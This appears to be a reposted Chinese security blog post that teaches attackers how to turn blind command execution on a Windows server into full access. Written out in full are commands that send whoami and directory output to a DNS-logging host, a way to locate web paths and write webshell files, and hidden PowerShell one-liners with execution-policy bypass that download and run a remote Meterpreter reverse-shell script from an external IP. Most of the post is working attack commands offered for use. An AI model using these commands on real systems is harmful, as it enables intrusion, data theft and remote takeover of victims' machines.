使用Powershell反弹Meterpreter Shell

admin 2022年3月19日07:03:27评论144 views字数 2054阅读6分50秒阅读模式

from:http://zone.wooyun.org/content/27814

撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试:
1、使用CloudEye获取命令执行的结果
2、找Web路径写WebShell
3、下载一个MSF的Payload直接反弹
某些情况下目标直接对公网开放3389,直接加个账户用完再删...

先说第一种方法,使用CloudEye获取回显结果:
for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg

执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。

使用Powershell反弹Meterpreter Shell
这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。
比如我执行Dir D:这条命令的结果就变成了这样:
for /F %x in ('dir D:') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg

使用Powershell反弹Meterpreter Shell
好在dir有/b参数可以解决这个问题:
for /F %x in ('dir /b D:') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果)

使用Powershell反弹Meterpreter Shell
第二种方法:找Web路径:
您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索:
for /F %x in ('dir /s/a-d/b E:*PopMessage.jsp') do echo 111222>%x.jsp
这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。
同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。

第三种方法:下载MSF的Payload
请参见:http://drops.wooyun.org/tips/2420
我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。

若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell:
Veil FrameWork已经给我们提供了足够的资源:https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter

我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件:

使用Powershell反弹Meterpreter Shell
为了将其简化,从其中提取Powershell代码:

使用Powershell反弹Meterpreter Shell
注意上面设置反弹IP和端口的地方:
$s.Connect('反弹IP', 端口)
我把这些代码写成了一个可以远程调用的方法(rev.ps1):

使用Powershell反弹Meterpreter Shell
通过远程调用,就不需要往目标服务器上上传文件了:
Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口:
x64执行:
C:Windowssyswow64windowspowershellv1.0powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

X86执行:
powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

成功获得Meterpreter Shell:

使用Powershell反弹Meterpreter Shell
使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用
powershell set-executionpolicy remotesigned

C:Windowssyswow64windowspowershellv1.0powershell.exe  set-executionpolicy remotesigned
允许Powershell的脚本执行权限。                    

本文始发于微信公众号(关注安全技术):使用Powershell反弹Meterpreter Shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月19日07:03:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Powershell反弹Meterpreter Shellhttps://cn-sec.com/archives/502311.html

发表评论

匿名网友 填写信息